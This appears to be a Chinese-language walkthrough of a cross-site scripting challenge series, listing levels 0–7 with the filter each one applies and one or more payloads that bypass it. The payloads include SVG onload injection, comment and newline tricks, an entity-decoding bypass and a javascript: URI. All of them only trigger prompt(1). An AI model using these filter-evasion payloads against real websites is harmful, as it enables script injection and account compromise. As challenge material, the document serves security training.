0
没有任何过滤
"><script>prompt(1)</script>
或者
"><svg/onload=prompt(1)>
1
过滤了大于号>,采用注释符//绕过
aa<svg/onload=prompt(1)//
2
过滤了左括号(,使用<svg>
标签绕过。在SVG向量里面的<script>
元素(或者其他CDATA元素 ),会先进行xml解析。因此(
(十六进制)或者(
(十进制)或者(
(html实体编码)会被还原成(。
<svg><script>prompt(1)</script>
或者
<svg><script>prompt(1)<b>
或者
<script>eval.call`${'prompt\x281)'}`</script>
或者
<script>eval.call`${'prompt\x281)'}`</script>
3
过滤了-->
,可用--!>
代替
a--!><script>prompt(1)</script>
或者
--!><svg/onload=prompt(1)
4
5
过滤了onxxx,过滤了>,通过回车符号绕过onxxx过滤
aa" type=image src=x onerror
="prompt(1)
6
仔细看源码
javascript:prompt(1)#{"action":1}
7
使用“和=构造payload
"><svg/a=#"onload='/*#*/prompt(1)'